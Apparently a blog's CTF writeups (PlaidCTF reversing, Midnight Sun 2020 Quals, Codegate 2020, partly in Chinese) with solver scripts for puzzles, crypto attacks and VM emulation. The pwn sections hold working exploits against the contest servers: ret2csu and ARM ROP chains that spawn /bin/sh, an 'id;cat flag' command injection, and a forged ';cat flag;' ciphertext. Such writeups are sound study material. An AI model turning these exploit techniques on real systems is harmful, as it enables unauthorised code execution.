function permrank(s)
	s=table.shallow_copy(s)
	n=0
	t=1
	for i=7,1,-1 do
		for j=1,i-1,1 do
			if s[j]>s[i] then
				s[j]=s[j]-1
			end
		end
	end
	for i=1,7,1 do
		n=n+(s[i]-1)*t
		t=t*i
	end
	return n
end

function getdel(s)
	sum=0
	for i=1,8,1 do
		sum=sum+s[i]
	end
	return s[sum-(sum//8)*8+1]
end
function table.shallow_copy(t)
	local res={}
	for k=1,#t,1 do
		res[k]=t[k]
	end
	return res
end
function count(l,r,r2,v)
	if(r>r2)then
		r=r2
	end
	if(l>r)then
		return 0
	end
	lt=l//8
	rt=r//8
	if(lt==rt)then
		if(l<=lt*8+v and lt*8+v<=r)then
			return 1
		end
		return 0
	end
	res=rt-lt-1
	if(l<=lt*8+v)then
		res=res+1
	end
	if(rt*8+v<=r)then
		res=res+1
	end
	return res
end
function modt(x)
	if(x<0)then
		return x+8
	end
	return x
end
function countus(s,x)
	sum=0
	for i=1,7,1 do
		sum=sum+s[i]
	end
	sum=sum-(sum//8)*8
	res=count(0,s[1]-1,x,modt(-sum))
	for i=1,6,1 do
		res=res+count(s[i]+1,s[i+1]-1,x,modt(i-sum))
	end
	res=res+count(s[7]+1,39999,x,modt(7-sum))
	return res
end
function kthus(s,k)
	l=-1
	r=39999
	while l+1<r do
		mid=(l+r)//2
		if(countus(s,mid)>=k)then
			r=mid
		else
			l=mid
		end
	end
	return r
end
function Alice1(s)
	table.sort(s)
	x=getdel(s)
	local res={}
	for i=1,8,1 do
		if(s[i]~=x)then
			table.insert(res,s[i])
		end
	end
	c=countus(res,x)
	rv=nthperm(c)
	resn={}
	for i=1,7,1 do
		resn[i]=res[rv[i]]
	end
	return resn
end
function Bob1(s)
	res=table.shallow_copy(s)
	table.sort(s)
	rv={}
	for i=1,7,1 do
		for j=1,7,1 do
			if res[i]==s[j] then
				rv[i]=j
			end
		end
	end
	c=permrank(rv)
	t=kthus(s,c)
	return t
end
function getothseq(s)
	if(#s==1)then
		return s
	end
	if(#s-(#s//2)*2==1)then
		tmp=table.shallow_copy(s)
		table.remove(tmp)
		tmp=getothseq(tmp)
		table.insert(tmp,0)
		return tmp
	end
	tmp={}
	for i=1,#s-1,2 do
		if(s[i]==s[i+1])then
			table.insert(tmp,s[i])
		end
	end
	tmp=getothseq(tmp)
	c=0
	res={}
	for i=1,#s-1,2 do
		if(s[i]==s[i+1])then
			c=c+1
			table.insert(res,tmp[c])
			table.insert(res,tmp[c])
		else
			table.insert(res,s[i+1])
			table.insert(res,s[i])
		end
	end
	return res
end
function Alice2(s)
	tmp={}
	for i=1,96,1 do
		table.insert(tmp,s[i]-1)
	end
	v=getothseq(tmp)
	res={}
	for i=1,96,1 do
		if(s[i]==1 and v[i]==1) then
			table.insert(res,i)
		end
	end
	return res
end
function Bob2(s)
	tmp={}
	for i=1,96,1 do
		table.insert(tmp,1-s[i])
	end
	v=getothseq(tmp)
	res={}
	for i=1,96,1 do
		if(s[i]==1 and v[i]==1) then
			table.insert(res,i)
		end
	end
	return res
end
```

# Reverse
## The Watness 2
Run the game with HyperZebra, we find that it checks the solution with some external function, if all three levels are passed, it will output flag using the solution and some built-in keys.
The checking part is like a cellular automaton, and we can find the solution by bfs. Finally, just play the game with these paths, and we can see the flag.
```python
s='rrbrb rg g  bgrbgggr ggrgr gr rg brr  b  bggrbgbb'
t={' ':0,'r':1,'g':2,'b':3}
v=' rgb'
s=[list(s[i:i+7])for i in range(0,49,7)]
for i in range(7):
	for j in range(7):
		s[i][j]=t[s[i][j]]

def get(x,y):
	if x<0 or x>6 or y<0 or y>6:
		return 0
	return s[x][y]

def get_neighbors(x,y):
	c=[0]*4
	for i in range(-1,2):
		for j in range(-1,2):
			if i or j:
				c[get(x+i,y+j)]+=1
	return c[1],c[2],c[3]

def nxt(s):
	r=[[0]*7 for i in range(7)]
	for i in range(7):
		for j in range(7):
			c1,c2,c3=get_neighbors(i,j)
			arg4,arg2,arg0=c1,c2,c3
			if s[i][j]==0:
				if arg2==0 and arg0==0:
					arg6=0
				elif arg0<arg2:
					arg6=2
				else:
					arg6=3
			elif s[i][j]==1:
				if arg4!=2 and arg4!=3:
					arg6=0
				elif arg0==0 or arg2==0:
					arg6=0
				else:
					arg6=1
			elif s[i][j]==2:
				if arg4>4:
					arg6=0
				elif arg0>4:
					arg6=3
				elif arg4==2 or arg4==3:
					arg6=1
				else:
					arg6=2
			else:
				assert s[i][j]==3
				if arg4>4:
					arg6=0
				elif arg2>4:
					arg6=2
				elif arg4==2 or arg4==3:
					arg6=1
				else:
					arg6=3
			r[i][j]=arg6
	return r

def ok_red(x1,y1,x2,y2):
	if x1<0 or x1>7 or y1<0 or y1>7:
		return 0
	if x2<0 or x2>7 or y2<0 or y2>7:
		return 0
	if x1==x2:
		if y1>y2:y1=y2
		return get(x1,y1)==1 or get(x1-1,y1)==1
	assert y1==y2
	if x1>x2:x1=x2
	return get(x1,y1)==1 or get(x1,y1-1)==1

pos=[(0,0,'','(0,0)')]
for i in range(50):
	npos=set()
	for x,y,path,his in pos:
		for nx,ny,d in [(x-1,y,'u'),(x+1,y,'d'),(x,y-1,'l'),(x,y+1,'r')]:
			if ok_red(x,y,nx,ny):
				np=path+d
				if '(%d,%d)'%(nx,ny) in his:
					continue
				npos.add((nx,ny,np,his+'(%d,%d)'%(nx,ny)))
	pos=npos
	for x,y,path,his in pos:
		if x==7 and y==7:
			print(len(path),path)
	s=nxt(s)
```

## A Plaid Puzzle
It contains a big matrix, elements fall down, change according to the characters of the flag, and interact with each other. In fact, each line of the puzzle is independent. The last element will “eat” every element in front of it, and finally check if it’s equal to some constant. There are 64 different statuses in this process, and in fact it’s just xor (but shuffled). So we can find some relations about the xor, and find the flag by gauss elimination.
```python

raw=open('code.txt','r',encoding='utf-8').readlines()

cmap={}
for i in range(1139,1267):
	a,b=raw[i].strip().split(' = ')
	cmap[a]=b

cmap['C']='fljldviokmmfmqzd'
cmap['F']='iawjsmjfczakueqy'
cmap['.']='.'
cmap['X']='X'

rule1s=[]
rule1={}
rule1x={}
for i in range(64):
	rule1['char'+str(i)]={}

for i in range(1427,5523):
	t=raw[i].strip()
	a,b=t[:-6].split(' -> ')
	ax,ay=a[2:-2].split(' | ')
	bx,by=b[2:-2].split(' | ')
	rule1s.append((ay,ax,bx))
	rule1[ay][ax]=bx
	if ax not in rule1x:
		rule1x[ax]={}
	rule1x[ax][bx]=ay

rule2s=[]
rule2={}
rule2x={}

for i in range(5523,9619):
	t=raw[i].strip()
	a,c=t[8:-10].split(' ] -> [ ')
	a,b=a.split(' | ')
	rule2s.append((a,b,c))
	if a not in rule2:
		rule2[a]={}
	rule2[a][b]=c
	if c not in rule2x:
		rule2x[c]={}
	rule2x[c][a]=b

rule3s=[]
rule3={}

for i in range(9619,9747):
	t=raw[i].strip()
	a,c=t[2:-10].split(' ] -> [ ')
	a,b=a.split(' | ')
	rule3s.append((a,b,c))
	if a not in rule3:
		rule3[a]={}
	rule3[a][b]=c

board=[]
for i in range(9760,9806):
	t=list(raw[i].strip())
	for j in range(len(t)):
		t[j]=cmap[t[j]]
	board.append(t)

board.append(['']*47)
board.append(['X']+['char63']*45+['X'])

charmap=list(map(chr,range(65,65+26)))+list(map(chr,range(97,97+26)))+list(map(chr,range(48,48+10)))+['{','}']

req='kkavwvmbabfuqctz'

slist=[]
for x in rule2x[req]:
	slist.append(rule2x[req][x])

sid={}
for i in range(64):
	sid[slist[i]]=i

tbl=[[0]*64 for i in range(64)]
for tr in slist:
	for op1 in range(64):
		t=board[1][2]
		v=rule1['char'+str(op1)][t]
		nxt=rule2x[tr][v]
		tbl[sid[tr]][op1]=sid[nxt]

t=[]
u=0
cur=set([u])
while True:
	x=0
	while x<64 and tbl[u][x] in cur:
		x+=1
	if x==64:
		break
	t.append(x)
	for i in cur.copy():
		cur.add(tbl[i][x])
	curu=[]
	for i in range(64):
		if tbl[u][i] in cur:
			curu.append(i)
sr=[]
for i in range(64):
	v=u
	for j in range(6):
		if i>>j&1:
			v=tbl[v][t[j]]
	for j in range(64):
		if tbl[u][j]==v:
			sr.append(j)
sl=[]
for i in range(64):
	sl.append(tbl[u][sr[i]])

slrev=[0]*64
for i in range(64):
	slrev[sl[i]]=i

eq=[]

for X in range(45,0,-1):
	cur=[]
	xor_const=slrev[sid[req]]^slrev[sid[board[X][46]]]
	for Y in range(1,46):
		t=board[X][Y]
		tmp=[0]*6
		for i in range(6):
			k=sr[1<<i]
			v=rule1['char'+str(k)][t]
			tmp[i]=slrev[sid[rule2x[slist[sl[0]]][v]]]
		cur+=tmp
	for i in range(6):
		t=[]
		for j in cur:
			t.append(j>>i&1)
		t.append(xor_const>>i&1)
		eq.append(t)

s=eq
n=len(s)
m=len(s[0])
c=0

for i in range(m-1):
	if not s[c][i]:
		t=c+1
		while t<n and not s[t][i]:
			t+=1
		s[c],s[t]=s[t],s[c]
	for j in range(n):
		if j!=c and s[j][i]:
			for k in range(m):
				s[j][k]^=s[c][k]
	c+=1
for i in range(0,45*6,6):
	t=sum(s[i+j][m-1]<<j for j in range(6))
	print(charmap[sr[t]],end='')
print()
```

]]> <![CDATA[Midnight Sun CTF 2020 Quals Writeup]]> /archives/281/ 2020-04-05T01:30:00+08:00 2020-04-05T01:30:00+08:00 admin

# pwn
## admpanel
Run `id;cat flag`.

## Pwny racing - pwn1
ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information.

```python
from pwn import *
from time import sleep

p=ELF('./pwn1')
main_addr=0x400698
main_end_addr=0x40070b
csu_end_addr=0x40077a
csu_front_addr=0x400760
fakeebp = b'b' * 8
bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one

libc=ELF('./libc.so')

r=remote('pwn1-01.play.midnightsunctf.se',10001)

def csu(rbx, rbp, r12, r13, r14, r15, last):
	# pop rbx,rbp,r12,r13,r14,r15
	# rbx should be 0
	# rbp should be 1, disable jump
	# r12 should be the function we want to call
	# rdi=edi=r13 <- different from ctf-wiki
	# rsi=r14
	# rdx=r15
	payload = b'a' * 0x40 + fakeebp
	payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front_addr)
	payload += b'a' * 0x38
	payload += p64(last)
	r.send(payload+b'\n')
	sleep(1)

r.recvuntil('buffer: ')
csu(0, 1, p.got['puts'], p.got['puts'], 0, 0, main_addr) # leak puts addr
puts_addr=int.from_bytes(r.recv(6),'little')
libc_addr=puts_addr-libc.symbols['puts']

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base, 0, 0, main_addr)
r.send(b'/bin/sh\0\n')

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base + 8, 0, 0, main_addr)
r.send(p64(libc_addr+libc.symbols['execve'])[:7]+b'\n') # gets will fill the last \0

r.recvuntil('buffer: ')
csu(0, 1, bss_base + 8, bss_base, 0, 0, main_addr)

r.interactive()
```

## Pwny racing - pwn3
ARM rop. I used ROPgadget to find gadgets. Note that libc is in thumb mode, so we need to add 1 to its address to switch to thumb mode.

```python
from pwn import *

r=remote('pwn3-01.play.midnightsunctf.se',10003)

exp=b'0'*4*35
exp+=p32(0x1fb5c)
exp+=p32(0x49018)
exp+=p32(0)
exp+=p32(0x14b5c+1) # switch to thumb

r.send(exp+b'\n')

r.interactive()
```

# forensics
## masterpiece
Get snes9x, find `Mario Paint (Japan, USA).sfc` from some websites.

I expected it to run, however, it stuck. I took a normal snapshot, and replace the header of given file. Then it successfully ran, and flag was shown.

# rev
## avr-rev
Main function is at sub_319. It reads a string, and decode it as some JSON-like data. Decode function is at sub_137. Then the decoded data is printed, along with a mystery number. This number seems calculated in sub_2D5.

For most objects, the number is 0. For `{xx:xx}`, the number is 1. For `{number:xx}`, the number is 2. For `{1337:string}`, the number is various.

In this case, the string is compared with flag, where flag is given in sub_884, in some strange way. When a character is different from flag, the result will be `(string[i]-flag[i])%256`. Thus we can find the flag byte by byte.

However, the string is at most 32 bytes, thus it only contains the first flag (for avr-rev).

### Bonus
After the CTF, we find the solution to avr-pwn. Send the following two strings, and they are connected into a big string. (`0123456789` is just a various padding)

```
{1:1,1337:"0123456789..."}
{1337:"...(32 bytes)"}
```

This is because the program malloc some new memory each time, and they are adjacent. Here's the script to find guess each byte.

```python
from pwn import *

r=remote('avr-01.play.midnightsunctf.se',1337)

def getnxt(s):
	t=s[:32]
	s=s[32:]
	v=[]
	while len(s):
		v.append(s[:22])
		s=s[22:]
	CHR='*'
	if len(v[-1])==22:
		v.append(CHR)
	else:
		v[-1]+=CHR
	for i in range(len(v)-1,-1,-1):
		r.recvuntil('\n')
		r.send('{'+'1:1,'*(i+1)+'1:"'+' '*10+v[i]+'"}\n')
		r.recvuntil('"}')
		r.recvuntil('\n')
	r.recvuntil('\n')
	r.send('{1337:"'+t+'"}\n')
	r.recvuntil('"}')
	r.recvuntil('\n')
	res=r.recvuntil('\n')
	return chr((ord(CHR)-int(res))%256)

cur='''First: midnight{only31?} But to get the second flag y'''
print(len(cur))
while True:
	cur+=getnxt(cur)
	print(cur)
```

# crypto
## pyBonHash
First use uncompyle6 to decompile the file.

Since each `bytes([data1, data2])` and `bytes([key1, key2])` only have 65536 options, we can enumerate all of them, and match with each other.

```python
import binascii,hashlib
from Crypto.Cipher import AES

s=open('hash.txt').read().strip()
s=binascii.unhexlify(s.encode())
n=len(s)//32
kl=42
key=[-1]*kl

fr={}

for i in range(256):
	for j in range(256):
		tohash = bytes([i,j])
		fr[hashlib.md5(tohash).hexdigest().encode()]=(i,j)

FIBOFFSET = 4919
MAXFIBSIZE = 500 + FIBOFFSET

def fibseq(n):
	out = [0, 1]
	for i in range(2, n):
		out += [out[(i - 1)] + out[(i - 2)]]
	return out
FIB = fibseq(MAXFIBSIZE)

def setkey(x,y):
	if key[x]==-1:
		key[x]=y
	assert key[x]==y

for i in range(n):
	t=s[i*32:i*32+32]
	for k1 in range(256):
		for k2 in range(256):
			thiskey = bytes([k1, k2]) * 16
			cipher = AES.new(thiskey, AES.MODE_ECB)
			v = cipher.decrypt(t)
			if v in fr:
				x,y=fr[v]
				setkey(((i*2 + FIB[(FIBOFFSET + i*2)]) % kl),k1)
				setkey(((i*2+1 + FIB[(FIBOFFSET + i*2+1)]) % kl),k2)
print(bytes(key))
```

## Verifier
Just use option 1 to sign `please_give_me_the_flag`.

## rsa_yay
In this task, we need to factorize `n`, while `hex(p)=hex(q)[::-1]`.

Suppose we know lowest k bits of p, we can find lowest k bits of q. Here we can also find highest k bits of p and q. Let them be $$ph$$ and $$qh$$. We know that $$ph\cdot qh\cdot 2^{1024-2k}\le n<(ph+1)\cdot(qh+1)\cdot 2^{1024-2k}$$, thus we may check whether $$ph$$ and $$qh$$ are (possibly) correct.

```python
from gmpy2 import *
import binascii

n=0x7ef80c5df74e6fecf7031e1f00fbbb74c16dfebe9f6ecd29091d51cac41e30465777f5e3f1f291ea82256a72276db682b539e463a6d9111cf6e2f61e50a9280ca506a0803d2a911914a385ac6079b7c6ec58d6c19248c894e67faddf96a8b88b365f16e7cc4bc6e2b4389fa7555706ab4119199ec20e9928f75393c5dc386c65
cipher=0x3ea5b2827eaabaec8e6e1d62c6bb3338f537e36d5fd94e5258577e3a729e071aa745195c9c3e88cb8b46d29614cb83414ac7bf59574e55c280276ba1645fdcabb7839cdac4d352c5d2637d3a46b5ee3c0dec7d0402404aa13525719292f65a451452328ccbd8a0b3412ab738191c1f3118206b36692b980abe092486edc38488

def reverse_hex(x,n):
	y=0
	for i in range(n):
		y=y*16+x%16
		x//=16
	return y

cur=[]

# Find all cases for lowest 12 bits
for i in range(1,4096,2): # i is lowest 12 bits of p
	t=invert(i,4096)*(n%4096)%4096 # t is lowest 12 bits of q
	assert t*i%4096==n%4096
	t2=reverse_hex(t,3) # t2 is highest 12 bits of q
	i2=reverse_hex(i,3) # i2 is highest 12 bits of p
	l=i2*t2<<(4*125*2)
	r=(i2+1)*(t2+1)<<(4*125*2)
	if l<=n<=r: # check where n is in the range
		cur.append(i)

# Current digit (in hex)
for c in range(4,65):
	nc=[]
	mod=16**c
	for x in cur:
		for y in range(16):
			i=x+y*16**(c-1) # i is lowest 4c bits of p
			t=invert(i,mod)*(n%mod)%mod # t is lowest 4c bits of q
			assert t*i%mod==n%mod
			t2=reverse_hex(t,c) # t2 is highest 4c bits of q
			i2=reverse_hex(i,c) # i2 is highest 4c bits of p
			l=i2*t2<<(4*(128-c)*2)
			r=(i2+1)*(t2+1)<<(4*(128-c)*2)
			if l<=n<=r: # check where n is in the range
				nc.append(i)
	cur=nc

# Find real solution
c=64
mod=16**c
for i in cur:
	t=invert(i,mod)*(n%mod)%mod
	assert t*i%mod==n%mod
	t2=reverse_hex(t,c)
	i2=reverse_hex(i,c)
	p=t2<<256|i
	q=i2<<256|t
	if p*q==n:
		break

e=65537
d=invert(e,(p-1)*(q-1))
o=pow(cipher,d,p*q)
print(binascii.unhexlify(hex(o)[2:]))
```

# guessing
## indian guess
The server guesses my number by binary search. Input `nan` and then it fails.

# misc
## sanity
Just enter irc.

## Snake++
Consider the following strategy: 
```
v<<<<<
v>v>v^
v^v^v^
v^v^v^
>^>^>^
```

Walk on the circle, and shoot if `B` exists. To check if `B` exists, we may just enumerate all locations, and check if `B` is there.

The follwing python code generates required snake++ code.

```python
def getsol(x1,y1,x2,y2,a,b):
	return ' '

r=''

r+='red:=100;\n'
for x in range(1,29):
	for y in range(1,19):
		r+='banana ~<8=== %d %d;\nif banana=="B" then\n\tred:=%d;\n\tgreen:=%d;\nfi;\n'%(x,y,x,y)

def addroute(x,y,v):
	global r
	x+=1;y+=1
	r+='if blue==%d then\n\tif yellow==%d then\n\t\treturn "%s";\n\tfi;\nfi;\n'%(x,y,v)

addroute(1,0,'L')
addroute(27,1,'L')
for i in range(0,28,2):
	addroute(i,16,'L')
	addroute(i,17,'L')
for i in range(1,27,2):
	addroute(i,1,'R')
	addroute(i,2,'R')

r+='''
if red<100 then
	return " ";
fi;
'''

r+='return "";\n'
r+='.\n'
open('test.txt','w').write(r)
```

The following one interacts with the server.

```python
from pwn import *
from base64 import b64decode

context.log_level = 'debug'

r=remote('snakeplusplus-01.play.midnightsunctf.se',55555)

r.recvuntil('Your choice: ')
r.send('2\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('Enter your program code, and end with a . on a line by itself')

r.send(open('test.txt').read().strip()+'\n')

r.recvuntil('--- Press enter to start ---')
r.send('\n')
r.recvuntil('Result: ')
open('t.zip','wb').write(b64decode(r.recvuntil('\n').strip()))

```

]]> <![CDATA[Codegate CTF 2020 Preliminary Writeup]]> /archives/279/ 2020-03-01T04:58:48+08:00 2020-03-01T04:58:48+08:00 admin

# Misc
## Verifier
一个用 ply.yacc 实现的语法分析器，要写一段代码 print 一个小于 0 的数。但是他会先进行预处理，并求出每个变量可能的最小值和最大值，当 print 的输入的最小可能值小于 0 时会退出。
在预处理 while 时，他只会尝试运行 3 次，那么一个在第 4 次或之后才被修改的值就不会被预处理考虑到。
```
T=10;A=1;B=1;[T>1{T=T+-1;A==5?{B=-1}:{A=A};A==-1?{A=5}:{A=A};A==0?{A=-1}:{A=A};A==4?{A=0}:{A=A};A==3?{A=4}:{A=A};A==2?{A=3}:{A=A};A==1?{A=2}:{A=A};!T}];!B
```

# Crypto
## halffeed
程序每轮会把一个 tag 和明文异或得到密文，然后 `tag=cipher[:8]+plain[8:]` ，然后用 key 对 tag 加密，同时 key 本身也会被加密（相当于一个固定的 key 生成器）。
需要得到一个包含 `;cat flag;` 的字符串，但是不能直接对包含 `cat flag` 的字符串加密。
Tag 可以直接由明密文异或得到，考虑 `randchar`\*8 + `;cat fla` 和 `randchar`\*16+`g;`+.....，他们处理后的tag有概率前两位相同（生日攻击），这样就可以拼出一个完整的 cat flag。
```python
from pwn import *
import random

def getconn():
	#return process(['python3','prob.py'])
	return remote('110.10.147.44',7777)

def encrypt(s):
	if type(s) is str:
		s=s.encode()
	print(s.hex())
	r=getconn()
	r.send('1\n')
	r.send(s.hex()+'\n')
	r.recvuntil('ciphertext = ')
	cipher=bytes.fromhex(r.recv(len(s.hex())).decode())
	r.recvuntil('tag = ')
	tag=bytes.fromhex(r.recv(32).decode())
	r.send('4\n')
	r.close()
	return cipher,tag

def getflag(nonce,cipher,tag):
	r=getconn()
	r.send('3\n')
	r.send(nonce.hex()+'\n')
	r.send(cipher.hex()+'\n')
	r.send(tag.hex()+'\n')
	r.interactive()

def xor(a,b):
	return bytes(b1 ^ b2 for b1, b2 in zip(a,b))

def getrnd(n):
	return bytes([random.randint(0,255)for i in range(n)])

#print(encrypt(b'\0'*128))

a=b'\0'*8+b';cat fla'
b=b'\0;'+b'\0'*14
br=b'g;'+b'\0'*14

mapa={}
mapb={}
res=None

#mapa[b'\x99(']=b'\xa3\xab\xcd\xa6W\xbaT\xc8;cat fla'
#mapb[b'\x99(']=b'\x93\xf0\x0f\xd9m\xb7\xa1gy\x07\nX\nY\xed\xe3'
#res=b'\x99('

while 1:
	at=getrnd(8)+a[8:]

ci,ta=encrypt(at+b)
	ac=ci[:16]
	bc=ci[16:]

tb=xor(b,bc)
	bc2=xor(br,tb)
	nt=bc2[:8]+b[8:]
	#print(nt[:2])
	mapa[nt[:2]]=at

ut=getrnd(16)
	ci,ta=encrypt(ut+b'\0'*32)
	xc=ci[:16]
	yc=ci[16:32]
	zc=ci[32:]
	#print(yc[:2])
	mapb[yc[:2]]=ut

for i in mapa:
		if i in mapb:
			res=i
	if res is not None:
		break
#print(res,mapa[res],mapb[res])

at=mapa[res]

ci,ta=encrypt(at+b)
#print('A',(at+b).hex())
ac=ci[:16]
bc=ci[16:]

tb=xor(b,bc)
bc2=xor(br,tb)
nt=bc2[:8]+b[8:]

ut=mapb[res]
ci,ta=encrypt(ut+b'\0'*32)
xc=ci[:16]
yc=ci[16:32]
nt2=yc[:8]+b'\0'*8
#print(nt2.hex())
zc=ci[32:]
#print(yc[:2])
#print(ci,ta)

#print(xor(yc,nt))
#print(xor(nt2,nt))

#print((xor(nt2,tb)[:8]+nt2[8:]).hex())

#src= at+xor(nt2,tb)[:8]+nt2[8:]+b'\0'*16

getflag(b'\0'*16,ac+xor(xor(nt2,tb)[:8]+nt2[8:],tb)+zc,ta)
```

## MUNCH
需要分解 1024 位的 n。其中 p 给出了 从 0,146,292,438 bit 开始的 111bit。

给出的方法是，另外钦定一个质数 mod，然后给出若干对 k_i\*px%mod 的高几十位。这些 k_i 基本都是随机的。

考虑 LLL 算法可以求出若干个向量的较小的线性组合，可以构造下面这些向量：

```
(每个 k_i*px 的有效值) + (若干 0)
(每个 k_i) + 一个奇怪的常数 C + (若干 0)
接下来若干行，每行是
(前若干个里，第 i 行的第 i 个位置是 mod) + 0 + (后若干个里，第 i 行的第 i 个位置是 1)
```

这样的话，一种可能较小的线性组合就是第一个向量加上若干个后面的向量再减若干个第二个向量。这时那个奇怪的常数就是求出的 px 了。至于这个常数应该取多少，以及这为啥能奏效，我就不知道了（试出来的结果是 1<<100 能求出解

```python
s=open('output').readlines()
n,seed=map(int,s[4].strip().split(' '))
t=[]
for i in range(200):
    t.append(int(s[7+i]))
seeds=[]
for i in range(200):
    seeds.append(seed)
    seed=seed**2%n

for i in t:
    assert (i<<460)<n

u=list(range(2,200,4))

M=[]
c=len(u)
V=100
M.append([t[i]<<460 for i in u]+[0]*(c+1))
M.append([seeds[i] for i in u]+[1<<V]+[0]*c)
for i in range(c):
    M.append([n if i==j else 0 for j in range(c)]+[0]+[1 if i==j else 0 for j in range(c)])
M=Matrix(M)
print(M[0][c])
M2=M.LLL()
print(M2[0][c])
for i in range(5):
    if not M2[i][c]: continue
    assert M2[i][c]%(1<<V)==0
    print(i,M2[i][0],M2[i][c]//(1<<V))
```

剩下的可以参考 [这个](https://link.springer.com/chapter/10.1007/978-3-540-89255-7_25) 和 
[这个](https://gist.github.com/jhs7jhs/0c26e83bb37866f5c7c6b8918a854333)。

## Polynomials
NTRUEncrypt，给了私钥里 -1 0 1 的个数。

不过实际上并没有用到，直接参考下面论文里的 LLL 做法就能解出。

https://sci-hub.tw/https://link.springer.com/chapter/10.1007%2F978-3-540-74143-5_9#

```python
import random
n=60
p=3
q=1499

h=[314, 1325, 1386, 176, 369, 1029, 877, 1255, 111, 1226, 117, 0, 210, 761, 938, 273, 525, 751, 1085, 372, 1333, 898, 780, 44, 649, 1463, 326, 354, 116, 1080, 1065, 1109, 358, 275, 1209, 964, 101, 950, 415, 1492, 1197, 921, 1000, 1028, 1400, 43, 1003, 914, 447, 360, 1171, 1109, 223, 1134, 1157, 1383, 784, 189, 870, 565]
c=(20,20,20)

ks={}
while True:
	rnds=[random.randint(1,10)for i in range(n*2)]
	#rnds=[8]*n+[1]*n

M=Matrix(n*2,n*2)
	for i in range(n):
		M[i,i]=q*rnds[i]
	for i in range(n):
		for j in range(n):
			M[i+n,j]=h[(j-i)%n]*rnds[j]
	for i in range(n):
		M[i+n,i+n]=1*rnds[i+n]
	M2=M.LLL()
	#print(M2[0])
	#print(M2[1])
	#ts=[]

rcnt=0

for i in range(n*2):
		tl=list(M2[i])[:n]
		tr=list(M2[i])[n:]
		for j in range(n):
			tl[j]=tl[j]//rnds[j]%q
			tr[j]=tr[j]//rnds[j+n]%q
		if tr[0]==q-2:
			tr[0]-=1
		elif tr[0]==2:
			tr[0]+=1
		cntl=0
		for j in tl:
			if j%q==3 or j%q==0 or j%q==q-3:
				cntl+=1
		cntr=0
		for j in tr:
			if j%q==3 or j%q==0 or j%q==q-3:
				cntr+=1
		if cntl==n and cntr==n and sum(tl):
			print(tl,tr)
			exit()
		if cntl>=n-1 or cntr>=n-1:
			if str(tr) not in ks:
				print(cntl,cntr,tr)
				ks[str(tr)]=1
			rcnt+=1
	print(rcnt,len(ks))
```

# Reverse
## SimpleMachine
一个虚拟机，把和 flag 有关的跳转钦定为不跳转，然后丢进 z3，就好了。（太懒了不想手解）

```python
def get2b(a,b):
	return a[b]+(a[b+1]<<8)

def set2b(a,b,c):
	a[b]=c&255
	a[b+1]=c>>8&255

get_2b=get2b

def read_bytes(a,b,c):
	#print('read:',b,c)
	global str_pos
	for i in range(c):
		#print(str_pos)
		if str_pos==len(str_to_read):
			a[b+i]=255
		else:
			a[b+i]=str_to_read[str_pos]
			str_pos+=1

def write_bytes(a,b,c):
	global str_res
	for i in range(c):
		str_res+=chr(a[b+i])

def step1():
	#print('step1')
	v1=stat[58]
	if v1==2:
		set2b(mem,get2b(stat,60),get2b(stat,62))
	else:
		assert v1==0
		v2=get2b(stat,60)
		if v2!=65535:
			set2b(stat,2*v2+28,get2b(stat,62))

def step2():
	global cons
	op=stat[48]
	#print('step2',op)
	if op==0:
		set2b(stat,62,get2b(stat,52))
	elif op==1:
		set2b(stat,62,get2b(stat,52)+get2b(stat,54))
	elif op==2:
		set2b(stat,62,get2b(stat,52)*get2b(stat,54))
	elif op==3:
		set2b(stat,62,get2b(stat,52)^get2b(stat,54))
	elif op==4:
		#print('#',get2b(stat,52),get2b(stat,54))
		#set2b(stat,62,get2b(stat,52)<get2b(stat,54))
		#print(get2b(stat,52),get2b(stat,54))
		rt=get2b(stat,52)<get2b(stat,54)
		if type(rt) is bool:
			set2b(stat,62,rt)
		else:
			set2b(stat,62,0)
		#assert get2b(stat,52)==0
		if get2b(stat,52)==0: cons.append(get2b(stat,54)==0)
	elif op==5:
		#cons.append(get2b(stat,52)==0)
		if get2b(stat,52):
			stat[46]=0
			stat[56]=0
			stat[64]=0
			set2b(stat,34,get2b(stat,54))
			return
		pass
	elif op==6:
		read_bytes(mem,get2b(stat,52),get2b(stat,54))
	elif op==7:
		write_bytes(mem,get2b(stat,52),get2b(stat,54))
	elif op==8:
		stat[46]=0
		stat[56]=0
		stat[64]=0
		for i in range(4):
			stat[24+i]=0
		return
	stat[64]=1
	stat[58]=stat[49]
	set2b(stat,60,get2b(stat,50))

def step3():
	#print('step3')
	v1=stat[64]
	v2=stat[38]
	v3=stat[39]
	do_label15=True
	if v1 and stat[58]==v2 and get2b(stat,60)==get2b(stat,42):
		set2b(stat,52,get2b(stat,62))
		#goto label 15
	elif v2==2:
		set2b(stat,52,get_2b(mem,get2b(stat,42)))
		v2=stat[58]
	else:
		if v2==1:
			set2b(stat,52,get2b(stat,42))
			if v1==0:
				do_label15=False
				#goto label 8
			v2=stat[58]
			#goto label 15
		else:
			if v2: assert False
			set2b(stat,52,get2b(stat,2*get2b(stat,42)+28))
			v2=stat[58]
	if do_label15 and v3==v2 and get2b(stat,60)==get2b(stat,44):
		set2b(stat,54,get2b(stat,62))
		#goto label 12
	elif v3==2:
		set2b(stat,54,get_2b(mem,get2b(stat,44)))
	elif v3==1:
		set2b(stat,54,get2b(stat,44))
	elif v3:
		assert False
	stat[56]=1
	stat[48]=stat[36]
	stat[49]=stat[37]
	set2b(stat,50,get2b(stat,40))

def step4():
	global res_pos,res_naive
	#print('step4')
	a=get2b(stat,34)
	#if a==416:
	#	res_naive=True
	#if not res_naive:
	#	res_pos=a
	#print(a)
	v1=get2b(mem,a)
	#print(v1,hex(v1))
	stat[36]=v1&0x7f
	stat[37]=v1>>7&7
	stat[38]=v1>>10&7
	stat[39]=v1>>13&7
	for i in range(6):
		stat[40+i]=mem[a+2+i]
	stat[46]=1
	set2b(stat,34,a+8)
	#print(stat[34:46])
	pass

from z3 import *

mem=[]
stat=[]

mem=[0]*0x10000
t=open('target','rb').read()
for i in range(len(t)):
	mem[i]=t[i]
stat=[0]*72
